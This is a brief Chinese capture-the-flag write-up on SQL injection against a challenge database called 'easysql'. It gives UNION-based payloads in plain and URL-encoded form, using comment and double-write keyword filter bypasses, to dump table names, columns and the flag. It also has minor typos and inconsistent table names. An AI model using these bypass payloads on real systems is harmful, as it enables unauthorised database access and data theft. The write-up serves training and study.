关于sql注入
需要记住以下函数
1.database():当前网站使用的数据库。
2.version():当前MYSQL的版本。
3.user():当前MySQL的用户。
id处存在sql注入，测试以下都有哪些关键字被过滤了
1.空格 传参 “1 2” 返回是“12” 空格被过滤可以用/**/来代替 /**/为数据库中的注释符号和#号一样
2.select被过滤，可以采取双写绕过 seleselectct
3.union没有被过滤
爆数据库
' union select database();#
' /**/union/**/ seleselectct/**/database();#
将注入语句转换成url编码
'%20%2F**%2Funion%2F**%2F%20seleselectct%2F**%2Fdatabase()%3B%23
id='%20%2F**%2Funion%2F**%2F%20seleselectct%2F**%2Fdatabase()%3B%23
爆表名
' union select table_name from information_schema .tables where table_schema='easysql';#
'/**/union/**/seleselectct/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='easysql';#
id='%2F**%2Funion%2F**%2Fseleselectct%2F**%2Ftable_name%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_schema%3D'easysql'%3B%23
发现f1agggggggggggg,然后爆字段
' union select column_name forme information_schema.columns where table_name='f1aggggggggggggg' and table_schema='easysql';#
'/**/union/**/seleselectct/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'/**/and/**/table_schema='easysql';#
id='%2F**%2Funion%2F**%2Fseleselectct%2F**%2Fcolumn_name%2F**%2Ffrom%2F**%2Finformation_schema.columns%2F**%2Fwhere%2F**%2Ftable_name%3D'f1aggggggggggggg'%2F**%2Fand%2F**%2Ftable_schema%3D'easysql'%3B%23
得到字段后 查询字段是什么
' union select fl4444444g from f1aggggggggggggg;#
' union/**/seleselectct/**/fl4444444g/**/from/**/f1aggggggggggggg;#
id='%20union%2F**%2Fseleselectct%2F**%2Ffl4444444g%2F**%2Ffrom%2F**%2Ff1aggggggggggggg%3B%23
或者可以直接用 id=%27union/**/selselectect/**/*/**/from/**/f1aggggggggggggg;%23 查询表里边的东西
